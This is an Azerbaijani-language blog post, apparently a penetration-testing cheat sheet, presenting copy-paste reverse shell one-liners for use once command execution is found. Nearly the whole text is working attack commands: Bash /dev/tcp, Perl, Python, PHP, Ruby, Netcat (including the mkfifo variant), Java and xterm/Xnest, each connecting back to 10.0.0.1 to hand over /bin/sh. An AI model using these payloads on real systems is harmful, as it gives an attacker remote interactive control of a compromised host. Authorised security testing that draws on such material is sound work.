Əgər nüfuz etmə testlərində kommanda icra etmə boşluğunu tapacaq qədər şanslı olsaz, əlbəttə interaktive shell yaratmaq istəyəcəksiniz.
Əgər öz SSH keyinizi .rhosts əlavə edə və ya sadəcə daxil ola bilmirsizsə, onda tcp portu üzərindən reverse və ya bind shelli açmalı olacaqsınız.Bu səhifədə bunun üçün yaradılıb.
Əlbəttə sizin shell açma imkanlarınız proqlamlaşdırma dilləri və əməliyyat sistemi tərəfindən müəyyən məhdudiyyətlərlə qarşılaşa bilərsiniz.
Sistem fərqlilikləri sizi daim izləmiş olacaq. Məsələn UNİX sistemlərində /bin/sh olduğu halda Windows əməliyyat sistemdə onu əvəz edən cmd.exe olacaq. Bu bilikləri artıq siz bilməlisiniz.
Aşağıda qoyacağım kodlar bir sətirlikdir və rahatca copy/paste edə bilərsiniz.Ancaq o qədərdə oxunaqlı deyil, bunu nəzərə alsaz sevinərəm! 😉
Bash
Bəzi bash versiyaları sizə reverse shell verə bilər (Ubuntu 10.10 test edilib):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Bu perlin qısa reverse shell yaradan kodudur:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
Python2.7/ Linux üzərində test edilib:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
Kodlar bəzi sistemlərdə işləməyə bilər (ancaq çox vaxtı işləyir):
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Əməliyyat sistemləridə çox istifadə edilən tooldur.Bəzi versiyaları -e parametrini dəstəkləməyə bilər:
nc -e /bin/sh 10.0.0.1 1234
Əgər səhv Netcat versiyası yüklənibsə və -e işləmirsə onda reverse shelli aşağıdakı kimi əldə edə bilərsiniz:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
Shell əldə etməyin ən sadə yollarından biridə xterm ilə shell əldə etməkdir.Bunun üçün aşağıdakı kommandanı serverdə işlətmək lazımdır.Shell isə həmin ip və 6001 portuna tcp ilə bağlanacaq:
xterm -display 10.0.0.1:1
Gələn xterm istəyini tutmaq üçün isə Xterm servisi yaratmaq lazımdır, hansıki (:1) 6001 portunu dinləyəcək.(və ya Xnestdəndə istifadə edə bilərsiniz):
Xnest :1
Qoşulmaq üçün isə hədəf sistemi tanımalıyıq (Bu komanda sizin pc-də işlədilməlidir.):
xhost +targetip
Bu birinci paylaşımın birinci kommentidir.